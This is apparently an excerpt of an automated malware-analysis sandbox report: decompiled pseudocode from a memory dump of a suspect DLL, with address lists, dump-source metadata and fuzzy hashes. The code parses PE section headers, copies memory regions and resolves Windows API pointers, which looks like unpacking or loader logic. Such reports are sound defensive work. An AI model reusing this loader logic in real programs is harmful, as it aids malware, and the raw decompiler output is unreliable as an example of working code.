                                                                                                                                              							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
                                                                                                                                              							_t535[0x24] = _t529;
                                                                                                                                              							_t535[0x20] =  *(_t535[0x48] + 0x30);
                                                                                                                                              							if((_t499 & 0x00000003) == 0) {
                                                                                                                                              								L12:
                                                                                                                                              								_t535[0x1c] = _t363;
                                                                                                                                              								_t535[0x18] = _t499;
                                                                                                                                              								E6EBDF828( &(_t535[0xc]), E6EBDF4CC( &(_t535[8])) + 0x14);
                                                                                                                                              								_t369 = E6EBDF4BC( &(_t535[0xc]), E6EBDF4CC( &(_t535[8])) + 0xffffffec);
                                                                                                                                              								_t462 = 5;
                                                                                                                                              								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
                                                                                                                                              								_t535 =  &(_t535[0xc]);
                                                                                                                                              								_t535[4] = _t535[4] + 1;
                                                                                                                                              								goto L13;
                                                                                                                                              							} else {
                                                                                                                                              								goto L11;
                                                                                                                                              							}
                                                                                                                                              							do {
                                                                                                                                              								L11:
                                                                                                                                              								_t499 = _t499 + 1;
                                                                                                                                              								_t363 = _t363 - 1;
                                                                                                                                              							} while ((_t499 & 0x00000003) != 0);
                                                                                                                                              							goto L12;
                                                                                                                                              						}
                                                                                                                                              						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
                                                                                                                                              						if(0 < 0) {
                                                                                                                                              							goto L13;
                                                                                                                                              						}
                                                                                                                                              						goto L10;
                                                                                                                                              						L13:
                                                                                                                                              						_t384 = _t384 + 1;
                                                                                                                                              						_t529 = _t529 + 0x28;
                                                                                                                                              					} while (_t384 < _t535[0x5c]);
                                                                                                                                              					L14:
                                                                                                                                              					_t280 = _t535[4];
                                                                                                                                              					_t535[0x44] = _t280;
                                                                                                                                              					if(_t280 <= 1) {
                                                                                                                                              						L21:
                                                                                                                                              						if(_t535[0x44] <= 0) {
                                                                                                                                              							L24:
                                                                                                                                              							_t281 = _t535[0x48];
                                                                                                                                              							_t556 = _t281 - _t535[0x60];
                                                                                                                                              							if(_t281 != _t535[0x60]) {
                                                                                                                                              								_t535[0x48] =  *_t281;
                                                                                                                                              								E6EBDF654( &(_t535[8]));
                                                                                                                                              								L5:
                                                                                                                                              								_t277 =  *(_t535[0x48] + 0x18);
                                                                                                                                              								_t535[0x50] = _t277;
                                                                                                                                              								_t535[4] = 0;
                                                                                                                                              								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
                                                                                                                                              								E6EBDF584( &(_t535[0xc]), 0);
                                                                                                                                              								_t279 =  *(_t379 + 6) & 0x0000ffff;
                                                                                                                                              								_t535[0x5c] = _t279;
                                                                                                                                              								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
                                                                                                                                              								if(_t279 <= 0) {
                                                                                                                                              									goto L14;
                                                                                                                                              								}
                                                                                                                                              								goto L6;
                                                                                                                                              							}
                                                                                                                                              							E6EBDF654( &(_t535[8]));
                                                                                                                                              							E6EBDF654( &(_t535[0x164]));
                                                                                                                                              							E6EBDF584( &(_t535[0x48]), 0);
                                                                                                                                              							_t535[0x18] = 0;
                                                                                                                                              							E6EBDF584( &(_t535[0x20]), 0);
                                                                                                                                              							_push(0x60a28c5c);
                                                                                                                                              							_t289 = E6EBE1D34(0x60a28c5c);
                                                                                                                                              							_t290 = E6EBE12EC( &(_t535[0x154]), _t517, _t556);
                                                                                                                                              							_push(_t290);
                                                                                                                                              							_push(_t290);
                                                                                                                                              							E6EBE1C6C( &(_t535[0x164]), 0x60a28c5c);
                                                                                                                                              							_t518 =  &(_t535[0x178]);
                                                                                                                                              							E6EBDD014( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
                                                                                                                                              							_push(0x80);
                                                                                                                                              							_push(0);
                                                                                                                                              							E6EBE5CD4( &(_t535[0x114]), _t556, _t535[0x184], 1);
                                                                                                                                              							E6EBE5D08( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
                                                                                                                                              							_push(_t289);
                                                                                                                                              							E6EBE8E08( &(_t535[0xe4]),  &(_t535[0x180]), 2);
                                                                                                                                              							E6EBDF654( &(_t535[0x180]));
                                                                                                                                              							_t557 = _t535[0x114];
                                                                                                                                              							if(_t535[0x114] != 0) {
                                                                                                                                              								E6EBDBB44( &(_t535[0x110]));
                                                                                                                                              							}
                                                                                                                                              							E6EBDCFDC( &(_t535[0x104]));
                                                                                                                                              							E6EBDCFDC(_t518);
                                                                                                                                              							E6EBDCFDC( &(_t535[0x15c]));
                                                                                                                                              							E6EBDCFDC( &(_t535[0x154]));
                                                                                                                                              							E6EBE90EC( &(_t535[0xdc]), 0xffffffff);
                                                                                                                                              							_t535[0x118] = _t535[0xf0];
                                                                                                                                              							E6EBDF618( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
                                                                                                                                              							_push(1);
                                                                                                                                              							E6EBE90B0( &(_t535[0x11c]));
                                                                                                                                              							_t381 = 0;
                                                                                                                                              							_t535[0x64] = 0;
                                                                                                                                              							_t535[0x60] = 0;
                                                                                                                                              							do {
                                                                                                                                              								_t535[0x58] = E6EBDF4BC( &(_t535[0x38]), _t535[0x60]);
                                                                                                                                              								_t535[0x70] = E6EBDF4CC( &(_t535[0x44]));
                                                                                                                                              								_t519 =  *(0x6ebebd40 + _t381 * 4);
                                                                                                                                              								_t531 = E6EBE907C( &(_t535[0xf4]), _t519, _t519);
                                                                                                                                              								if(_t531 == 0) {
                                                                                                                                              									goto L42;
                                                                                                                                              								}
                                                                                                                                              								_t508 = E6EBE87E8( &(_t535[0x11c]), _t519,  *_t531);
                                                                                                                                              								_t532 =  *_t531;
                                                                                                                                              								while(_t532 ==  *_t508) {
                                                                                                                                              									_t508 = _t508 + 8;
                                                                                                                                              									__eflags = _t508;
                                                                                                                                              								}
                                                                                                                                              								_t315 =  *_t508;
                                                                                                                                              								_t535[0x74] = _t315;
                                                                                                                                              								_t535[0x78] = _t315 - _t532;
                                                                                                                                              								if(_t381 != 0) {
                                                                                                                                              									L38:
                                                                                                                                              									_t535[0x68] = E6EBDF4CC( &(_t535[0x44]));
                                                                                                                                              									_t535[0x6c] = _t519;
                                                                                                                                              									E6EBDF4DC( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
                                                                                                                                              									_t319 = E6EBDF4CC( &(_t535[0x44]));
                                                                                                                                              									_t487 = _t535[0x58];
                                                                                                                                              									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
                                                                                                                                              									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
                                                                                                                                              										E6EBDF828( &(_t535[0x20]), E6EBDF4CC( &(_t535[0x1c])) + 8);
                                                                                                                                              										E6EBDF4BC( &(_t535[0x20]), E6EBDF4CC( &(_t535[0x1c])) + 0xfffffff8);
                                                                                                                                              										asm("movsd");
                                                                                                                                              										asm("movsd");
                                                                                                                                              										_t535[0x18] = _t535[0x18] + 1;
                                                                                                                                              										__eflags = _t381 - 0x1d;
                                                                                                                                              										if(__eflags == 0) {
                                                                                                                                              											_t228 =  &(_t535[0x44]); // 0x2c
                                                                                                                                              											E6EBE317C(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
                                                                                                                                              										}
                                                                                                                                              										goto L42;
                                                                                                                                              									}
                                                                                                                                              									E6EBDF828( &(_t535[0x48]), _t535[0x70]);
                                                                                                                                              									E6EBE317C(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
                                                                                                                                              									E6EBDF840( &(_t535[0x44]), _t563);
                                                                                                                                              									E6EBDF840( &(_t535[0x1c]), _t563);
                                                                                                                                              									_t381 = _t381 - 1;
                                                                                                                                              									_t334 = _t535[0x64] + 1;
                                                                                                                                              									_t535[0x60] = _t535[0x60] + 0x14;
                                                                                                                                              									_t535[0x18] = 0;
                                                                                                                                              									_t535[0x64] = _t334;
                                                                                                                                              									if(_t334 == _t535[0x30]) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									goto L42;
                                                                                                                                              								}
                                                                                                                                              								E6EBE913C( &(_t535[0x134]), _t519);
                                                                                                                                              								_t535[0x5c] = _t532;
                                                                                                                                              								while(1) {
                                                                                                                                              									_t336 = _t535[0x5c];
                                                                                                                                              									_t562 =  *_t336 - 0xb8;
                                                                                                                                              									if( *_t336 == 0xb8) {
                                                                                                                                              										break;
                                                                                                                                              									}
                                                                                                                                              									_t490 = _t535[0x5c] + E6EBE9104( &(_t535[0x138]), __eflags, _t535[0x74]);
                                                                                                                                              									_t535[0x5c] = _t490;
                                                                                                                                              									__eflags = _t490 -  *_t508;
                                                                                                                                              									if(__eflags < 0) {
                                                                                                                                              										continue;
                                                                                                                                              									}
                                                                                                                                              									L37:
                                                                                                                                              									E6EBDF654( &(_t535[0x144]));
                                                                                                                                              									E6EBDF654( &(_t535[0x134]));
                                                                                                                                              									goto L38;
                                                                                                                                              								}
                                                                                                                                              								 *0x6ebed2ec =  *((intOrPtr*)(_t336 + 1));
                                                                                                                                              								goto L37;
                                                                                                                                              								L42:
                                                                                                                                              								_t381 = _t381 + 1;
                                                                                                                                              							} while (_t381 < 0x1e);
                                                                                                                                              							E6EBDF654( &(_t535[0x11c]));
                                                                                                                                              							E6EBE8E68(_t381,  &(_t535[0xd8]));
                                                                                                                                              							E6EBDF654( &(_t535[0x1c]));
                                                                                                                                              							E6EBDF654( &(_t535[0x44]));
                                                                                                                                              							E6EBDF654( &(_t535[0x34]));
                                                                                                                                              							goto L44;
                                                                                                                                              						}
                                                                                                                                              						_t533 = 0;
                                                                                                                                              						_t382 = 0;
                                                                                                                                              						do {
                                                                                                                                              							_t341 = E6EBDF4BC( &(_t535[0xc]), _t382);
                                                                                                                                              							_t517 = _t341;
                                                                                                                                              							E6EBDF828( &(_t535[0x38]), E6EBDF4CC( &(_t535[0x34])) + 0x14);
                                                                                                                                              							_t347 = E6EBDF4BC( &(_t535[0x38]), E6EBDF4CC( &(_t535[0x34])) + 0xffffffec);
                                                                                                                                              							_t451 = 5;
                                                                                                                                              							memcpy(_t347, _t341, _t451 << 2);
                                                                                                                                              							_t535 =  &(_t535[0xc]);
                                                                                                                                              							_t533 = _t533 + 1;
                                                                                                                                              							_t382 = _t382 + 0x14;
                                                                                                                                              							_t535[0x30] = _t535[0x30] + 1;
                                                                                                                                              						} while (_t533 < _t535[0x44]);
                                                                                                                                              						goto L24;
                                                                                                                                              					}
                                                                                                                                              					_t535[0x4c] = 1;
                                                                                                                                              					_t534 = 0x14;
                                                                                                                                              					do {
                                                                                                                                              						_t62 = _t534 - 0x14; // 0x0
                                                                                                                                              						_t383 = E6EBDF4BC( &(_t535[0xc]), _t62);
                                                                                                                                              						_t455 = E6EBDF4BC( &(_t535[0xc]), _t534);
                                                                                                                                              						_t517 =  *_t383;
                                                                                                                                              						_t352 =  *_t455;
                                                                                                                                              						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
                                                                                                                                              							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
                                                                                                                                              						}
                                                                                                                                              						_t534 = _t534 + 0x14;
                                                                                                                                              						_t354 = _t535[0x4c] + 1;
                                                                                                                                              						_t535[0x4c] = _t354;
                                                                                                                                              					} while (_t354 < _t535[0x44]);
                                                                                                                                              					_t535[0x44] = _t535[4];
                                                                                                                                              					goto L21;
                                                                                                                                              				}
                                                                                                                                              			}








































































                                                                                                                                              0x6ebe1448
                                                                                                                                              0x6ebe144f
                                                                                                                                              0x6ebe1452
                                                                                                                                              0x6ebe1459
                                                                                                                                              0x6ebe1bdb
                                                                                                                                              0x6ebe1bdb
                                                                                                                                              0x6ebe145f
                                                                                                                                              0x6ebe146a
                                                                                                                                              0x6ebe19a9
                                                                                                                                              0x6ebe19ad
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1c2c
                                                                                                                                              0x6ebe19b3
                                                                                                                                              0x6ebe19b6
                                                                                                                                              0x6ebe19b9
                                                                                                                                              0x6ebe19c3
                                                                                                                                              0x6ebe19d2
                                                                                                                                              0x6ebe19d4
                                                                                                                                              0x6ebe19db
                                                                                                                                              0x6ebe1bc5
                                                                                                                                              0x6ebe1bc7
                                                                                                                                              0x6ebe1bca
                                                                                                                                              0x6ebe1bce
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1bce
                                                                                                                                              0x6ebe19ea
                                                                                                                                              0x6ebe19f5
                                                                                                                                              0x6ebe19fc
                                                                                                                                              0x6ebe19ff
                                                                                                                                              0x6ebe1a01
                                                                                                                                              0x6ebe1a04
                                                                                                                                              0x6ebe1a07
                                                                                                                                              0x6ebe1a0d
                                                                                                                                              0x6ebe1a1b
                                                                                                                                              0x6ebe1a2b
                                                                                                                                              0x6ebe1a50
                                                                                                                                              0x6ebe1a61
                                                                                                                                              0x6ebe1a64
                                                                                                                                              0x6ebe1a66
                                                                                                                                              0x6ebe1aca
                                                                                                                                              0x6ebe1acd
                                                                                                                                              0x6ebe1acd
                                                                                                                                              0x6ebe1acf
                                                                                                                                              0x6ebe1ad2
                                                                                                                                              0x6ebe1ad6
                                                                                                                                              0x6ebe1ad6
                                                                                                                                              0x6ebe1ada
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1ae7
                                                                                                                                              0x6ebe1aed
                                                                                                                                              0x6ebe1b21
                                                                                                                                              0x6ebe1b27
                                                                                                                                              0x6ebe1b29
                                                                                                                                              0x6ebe1bf8
                                                                                                                                              0x6ebe1c00
                                                                                                                                              0x6ebe1c03
                                                                                                                                              0x6ebe1c05
                                                                                                                                              0x6ebe1c1c
                                                                                                                                              0x6ebe1c1c
                                                                                                                                              0x6ebe1c07
                                                                                                                                              0x6ebe1c0b
                                                                                                                                              0x6ebe1c10
                                                                                                                                              0x6ebe1c10
                                                                                                                                              0x6ebe1c1e
                                                                                                                                              0x6ebe1c24
                                                                                                                                              0x6ebe1b43
                                                                                                                                              0x6ebe1b43
                                                                                                                                              0x6ebe1b45
                                                                                                                                              0x6ebe1b45
                                                                                                                                              0x6ebe1b47
                                                                                                                                              0x6ebe1b47
                                                                                                                                              0x6ebe1b4c
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1b4e
                                                                                                                                              0x6ebe1b4f
                                                                                                                                              0x6ebe1b52
                                                                                                                                              0x6ebe1b55
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1b61
                                                                                                                                              0x6ebe1b64
                                                                                                                                              0x6ebe1b66
                                                                                                                                              0x6ebe1b7d
                                                                                                                                              0x6ebe1b7d
                                                                                                                                              0x6ebe1b68
                                                                                                                                              0x6ebe1b6c
                                                                                                                                              0x6ebe1b71
                                                                                                                                              0x6ebe1b71
                                                                                                                                              0x6ebe1b8a
                                                                                                                                              0x6ebe1b8d
                                                                                                                                              0x6ebe1b96
                                                                                                                                              0x6ebe1b99
                                                                                                                                              0x6ebe1bbc
                                                                                                                                              0x6ebe1bc0
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1bc0
                                                                                                                                              0x6ebe1ba1
                                                                                                                                              0x6ebe1ba1
                                                                                                                                              0x6ebe1bad
                                                                                                                                              0x6ebe1bb0
                                                                                                                                              0x6ebe1bb9
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1bb9
                                                                                                                                              0x6ebe1b2f
                                                                                                                                              0x6ebe1b3f
                                                                                                                                              0x6ebe1b3f
                                                                                                                                              0x6ebe1b41
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1b37
                                                                                                                                              0x6ebe1b39
                                                                                                                                              0x6ebe1b39
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1b3f
                                                                                                                                              0x6ebe1aef
                                                                                                                                              0x6ebe1af7
                                                                                                                                              0x6ebe1b17
                                                                                                                                              0x6ebe1af9
                                                                                                                                              0x6ebe1af9
                                                                                                                                              0x6ebe1b01
                                                                                                                                              0x6ebe1b0a
                                                                                                                                              0x6ebe1b0a
                                                                                                                                              0x6ebe1b01
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1af7
                                                                                                                                              0x6ebe1a68
                                                                                                                                              0x6ebe1a6f
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1a7c
                                                                                                                                              0x6ebe1a82
                                                                                                                                              0x6ebe1a87
                                                                                                                                              0x6ebe1a8e
                                                                                                                                              0x6ebe1a92
                                                                                                                                              0x6ebe1aa7
                                                                                                                                              0x6ebe1aa9
                                                                                                                                              0x6ebe1aab
                                                                                                                                              0x6ebe1ab1
                                                                                                                                              0x6ebe1abf
                                                                                                                                              0x6ebe1abf
                                                                                                                                              0x6ebe1ac5
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1ac5
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1a0f
                                                                                                                                              0x6ebe1a0f
                                                                                                                                              0x6ebe1a0f
                                                                                                                                              0x6ebe1a10
                                                                                                                                              0x6ebe1a13
                                                                                                                                              0x6ebe1a17
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1a2d
                                                                                                                                              0x6ebe1a30
                                                                                                                                              0x6ebe1a33
                                                                                                                                              0x6ebe1a3c
                                                                                                                                              0x6ebe1a3f
                                                                                                                                              0x6ebe1a40
                                                                                                                                              0x6ebe1a42
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe147d
                                                                                                                                              0x6ebe147f
                                                                                                                                              0x6ebe1484
                                                                                                                                              0x6ebe148f
                                                                                                                                              0x6ebe149d
                                                                                                                                              0x6ebe14b0
                                                                                                                                              0x6ebe14bd
                                                                                                                                              0x6ebe14c6
                                                                                                                                              0x6ebe14ca
                                                                                                                                              0x6ebe14ce
                                                                                                                                              0x6ebe1516
                                                                                                                                              0x6ebe1516
                                                                                                                                              0x6ebe1518
                                                                                                                                              0x6ebe151f
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1538
                                                                                                                                              0x6ebe1540
                                                                                                                                              0x6ebe1544
                                                                                                                                              0x6ebe1559
                                                                                                                                              0x6ebe155d
                                                                                                                                              0x6ebe1561
                                                                                                                                              0x6ebe156a
                                                                                                                                              0x6ebe1570
                                                                                                                                              0x6ebe1573
                                                                                                                                              0x6ebe1577
                                                                                                                                              0x6ebe157f
                                                                                                                                              0x6ebe1581
                                                                                                                                              0x6ebe1585
                                                                                                                                              0x6ebe158c
                                                                                                                                              0x6ebe1595
                                                                                                                                              0x6ebe1595
                                                                                                                                              0x6ebe1599
                                                                                                                                              0x6ebe15ae
                                                                                                                                              0x6ebe15c4
                                                                                                                                              0x6ebe15d1
                                                                                                                                              0x6ebe15d2
                                                                                                                                              0x6ebe15d2
                                                                                                                                              0x6ebe15d4
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe158e
                                                                                                                                              0x6ebe158e
                                                                                                                                              0x6ebe158e
                                                                                                                                              0x6ebe158f
                                                                                                                                              0x6ebe1590
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe158e
                                                                                                                                              0x6ebe1553
                                                                                                                                              0x6ebe1557
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe15d8
                                                                                                                                              0x6ebe15d8
                                                                                                                                              0x6ebe15d9
                                                                                                                                              0x6ebe15dc
                                                                                                                                              0x6ebe15e6
                                                                                                                                              0x6ebe15e6
                                                                                                                                              0x6ebe15ea
                                                                                                                                              0x6ebe15f1
                                                                                                                                              0x6ebe164c
                                                                                                                                              0x6ebe1651
                                                                                                                                              0x6ebe16a4
                                                                                                                                              0x6ebe16a4
                                                                                                                                              0x6ebe16a8
                                                                                                                                              0x6ebe16ac
                                                                                                                                              0x6ebe14d6
                                                                                                                                              0x6ebe14d9
                                                                                                                                              0x6ebe14de
                                                                                                                                              0x6ebe14e4
                                                                                                                                              0x6ebe14e7
                                                                                                                                              0x6ebe14ee
                                                                                                                                              0x6ebe14f2
                                                                                                                                              0x6ebe14f9
                                                                                                                                              0x6ebe1502
                                                                                                                                              0x6ebe1506
                                                                                                                                              0x6ebe150a
                                                                                                                                              0x6ebe1510
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1510
                                                                                                                                              0x6ebe16b6
                                                                                                                                              0x6ebe16c2
                                                                                                                                              0x6ebe16cd
                                                                                                                                              0x6ebe16d4
                                                                                                                                              0x6ebe16dd
                                                                                                                                              0x6ebe16e7
                                                                                                                                              0x6ebe16e8
                                                                                                                                              0x6ebe16f6
                                                                                                                                              0x6ebe16fb
                                                                                                                                              0x6ebe16fc
                                                                                                                                              0x6ebe1709
                                                                                                                                              0x6ebe170e
                                                                                                                                              0x6ebe1720
                                                                                                                                              0x6ebe1725
                                                                                                                                              0x6ebe172a
                                                                                                                                              0x6ebe173c
                                                                                                                                              0x6ebe174e
                                                                                                                                              0x6ebe1753
                                                                                                                                              0x6ebe175e
                                                                                                                                              0x6ebe1765
                                                                                                                                              0x6ebe176a
                                                                                                                                              0x6ebe1772
                                                                                                                                              0x6ebe177b
                                                                                                                                              0x6ebe177b
                                                                                                                                              0x6ebe1787
                                                                                                                                              0x6ebe178e
                                                                                                                                              0x6ebe179a
                                                                                                                                              0x6ebe17a6
                                                                                                                                              0x6ebe17b4
                                                                                                                                              0x6ebe17c5
                                                                                                                                              0x6ebe17cc
                                                                                                                                              0x6ebe17d1
                                                                                                                                              0x6ebe17da
                                                                                                                                              0x6ebe17df
                                                                                                                                              0x6ebe17e1
                                                                                                                                              0x6ebe17e5
                                                                                                                                              0x6ebe17e9
                                                                                                                                              0x6ebe17f6
                                                                                                                                              0x6ebe1803
                                                                                                                                              0x6ebe1807
                                                                                                                                              0x6ebe181b
                                                                                                                                              0x6ebe181f
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1834
                                                                                                                                              0x6ebe1836
                                                                                                                                              0x6ebe183e
                                                                                                                                              0x6ebe183b
                                                                                                                                              0x6ebe183b
                                                                                                                                              0x6ebe183b
                                                                                                                                              0x6ebe1842
                                                                                                                                              0x6ebe1844
                                                                                                                                              0x6ebe184a
                                                                                                                                              0x6ebe1850
                                                                                                                                              0x6ebe18ac
                                                                                                                                              0x6ebe18b5
                                                                                                                                              0x6ebe18b9
                                                                                                                                              0x6ebe18c6
                                                                                                                                              0x6ebe18cf
                                                                                                                                              0x6ebe18d4
                                                                                                                                              0x6ebe18d8
                                                                                                                                              0x6ebe18db
                                                                                                                                              0x6ebe193c
                                                                                                                                              0x6ebe1952
                                                                                                                                              0x6ebe195d
                                                                                                                                              0x6ebe195e
                                                                                                                                              0x6ebe195f
                                                                                                                                              0x6ebe1963
                                                                                                                                              0x6ebe1966
                                                                                                                                              0x6ebe1be6
                                                                                                                                              0x6ebe1be9
                                                                                                                                              0x6ebe1be9
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1966
                                                                                                                                              0x6ebe18e5
                                                                                                                                              0x6ebe18f5
                                                                                                                                              0x6ebe18fe
                                                                                                                                              0x6ebe1907
                                                                                                                                              0x6ebe1910
                                                                                                                                              0x6ebe1911
                                                                                                                                              0x6ebe1912
                                                                                                                                              0x6ebe1917
                                                                                                                                              0x6ebe191f
                                                                                                                                              0x6ebe1927
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1929
                                                                                                                                              0x6ebe1859
                                                                                                                                              0x6ebe185e
                                                                                                                                              0x6ebe1862
                                                                                                                                              0x6ebe1862
                                                                                                                                              0x6ebe1866
                                                                                                                                              0x6ebe1869
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe188a
                                                                                                                                              0x6ebe188c
                                                                                                                                              0x6ebe1890
                                                                                                                                              0x6ebe1892
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1894
                                                                                                                                              0x6ebe189b
                                                                                                                                              0x6ebe18a7
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe18a7
                                                                                                                                              0x6ebe186e
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe196c
                                                                                                                                              0x6ebe196c
                                                                                                                                              0x6ebe196d
                                                                                                                                              0x6ebe197d
                                                                                                                                              0x6ebe1989
                                                                                                                                              0x6ebe1992
                                                                                                                                              0x6ebe199b
                                                                                                                                              0x6ebe19a4
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe19a4
                                                                                                                                              0x6ebe1653
                                                                                                                                              0x6ebe1655
                                                                                                                                              0x6ebe1657
                                                                                                                                              0x6ebe165c
                                                                                                                                              0x6ebe1661
                                                                                                                                              0x6ebe1674
                                                                                                                                              0x6ebe168a
                                                                                                                                              0x6ebe1693
                                                                                                                                              0x6ebe1694
                                                                                                                                              0x6ebe1694
                                                                                                                                              0x6ebe1696
                                                                                                                                              0x6ebe1697
                                                                                                                                              0x6ebe169a
                                                                                                                                              0x6ebe169e
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1657
                                                                                                                                              0x6ebe15f3
                                                                                                                                              0x6ebe15fd
                                                                                                                                              0x6ebe15fe
                                                                                                                                              0x6ebe15fe
                                                                                                                                              0x6ebe160b
                                                                                                                                              0x6ebe1617
                                                                                                                                              0x6ebe1619
                                                                                                                                              0x6ebe161b
                                                                                                                                              0x6ebe161f
                                                                                                                                              0x6ebe162f
                                                                                                                                              0x6ebe162f
                                                                                                                                              0x6ebe1636
                                                                                                                                              0x6ebe1639
                                                                                                                                              0x6ebe163a
                                                                                                                                              0x6ebe163e
                                                                                                                                              0x6ebe1648
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe1648

                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID:
                                                                                                                                              • Opcode ID: 793f4c7ac5dc68696bc5cc6e0df2fc9c00ef84f4c32c6c396f5197d4235b1e9a
                                                                                                                                              • Instruction ID: 45ecde176250f91686e1006eca73cef4fb760bbbaefd716d988ed3d848963ae2
                                                                                                                                              • Opcode Fuzzy Hash: 793f4c7ac5dc68696bc5cc6e0df2fc9c00ef84f4c32c6c396f5197d4235b1e9a
                                                                                                                                              • Instruction Fuzzy Hash: 59329D701183818FC715DFA4C890AEEBBE4FF94344F248D2DE5958B661EB70E949CB92
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6EBD6D0C() {
                                                                                                                                              
                                                                                                                                              				 *0x6ebed280 = GetUserNameW;
                                                                                                                                              				 *0x6EBED284 = MessageBoxW;
                                                                                                                                              				 *0x6EBED288 = GetLastError;
                                                                                                                                              				 *0x6EBED28C = CreateFileA;
                                                                                                                                              				 *0x6EBED290 = DebugBreak;
                                                                                                                                              				 *0x6EBED294 = FlushFileBuffers;
                                                                                                                                              				 *0x6EBED298 = FreeEnvironmentStringsA;
                                                                                                                                              				 *0x6EBED29C = GetConsoleOutputCP;
                                                                                                                                              				 *0x6EBED2A0 = GetEnvironmentStrings;
                                                                                                                                              				 *0x6EBED2A4 = GetLocaleInfoA;
                                                                                                                                              				 *0x6EBED2A8 = GetStartupInfoA;
                                                                                                                                              				 *0x6EBED2AC = GetStringTypeA;
                                                                                                                                              				 *0x6EBED2B0 = HeapValidate;
                                                                                                                                              				 *0x6EBED2B4 = IsBadReadPtr;
                                                                                                                                              				 *0x6EBED2B8 = LCMapStringA;
                                                                                                                                              				 *0x6EBED2BC = LoadLibraryA;
                                                                                                                                              				 *0x6EBED2C0 = OutputDebugStringA;
                                                                                                                                              				return 0x6ebed280;
                                                                                                                                              			}



                                                                                                                                              0x6ebd6d1d
                                                                                                                                              0x6ebd6d25
                                                                                                                                              0x6ebd6d28
                                                                                                                                              0x6ebd6d37
                                                                                                                                              0x6ebd6d3a
                                                                                                                                              0x6ebd6d49
                                                                                                                                              0x6ebd6d4c
                                                                                                                                              0x6ebd6d5b
                                                                                                                                              0x6ebd6d5e
                                                                                                                                              0x6ebd6d6d
                                                                                                                                              0x6ebd6d70
                                                                                                                                              0x6ebd6d7f
                                                                                                                                              0x6ebd6d82
                                                                                                                                              0x6ebd6d91
                                                                                                                                              0x6ebd6d94
                                                                                                                                              0x6ebd6da3
                                                                                                                                              0x6ebd6da6
                                                                                                                                              0x6ebd6da9

                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
